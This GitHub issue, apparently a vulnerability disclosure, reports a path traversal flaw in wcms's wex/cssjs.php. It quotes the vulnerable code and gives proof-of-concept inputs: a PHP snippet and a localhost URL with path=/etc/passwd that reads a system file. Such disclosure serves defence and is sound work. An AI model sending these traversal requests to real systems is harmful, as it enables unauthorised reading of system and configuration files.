Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Path Traversal vulnerability in wcms/wcms/wex/cssjs.php #7

Open
nenf opened this issue Jul 20, 2020 · 1 comment
Open

Path Traversal vulnerability in wcms/wcms/wex/cssjs.php #7

nenf opened this issue Jul 20, 2020 · 1 comment

Comments

@nenf
Copy link

@nenf nenf commented Jul 20, 2020

Hi, dev team!

There is Path Traversal vulnerability in wcms/wcms/wex/cssjs.php file.

The vulnerable code is:

31: $path = $_GET['path'];
32: $html_from_template = htmlspecialchars(file_get_contents($path));
61: :code='<?php echo htmlentities(json_encode($html_from_template, JSON_HEX_QUOT), ENT_QUOTES);?>'

Example POC:

<?php

$path = "/etc/passwd";
$html_from_template = htmlspecialchars(file_get_contents($path));
echo htmlentities(json_encode($html_from_template, JSON_HEX_QUOT), ENT_QUOTES);

?>

A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files

To prevent vulnerability use next manual: https://portswigger.net/web-security/file-path-traversal (prevent section)

Please let me know about any fixes, I would like to register CVE number.

@nenf nenf changed the title Path Traversal vulnerability Path Traversal vulnerability in wcms/wcms/wex/cssjs.ph Jul 20, 2020
@nenf
Copy link
Author

@nenf nenf commented Jul 21, 2020

Here is POC:

http://127.0.0.1:8100/wex/cssjs.php?path=/etc/passwd

image

@nenf nenf changed the title Path Traversal vulnerability in wcms/wcms/wex/cssjs.ph Path Traversal vulnerability in wcms/wcms/wex/cssjs.php Jul 23, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
1 participant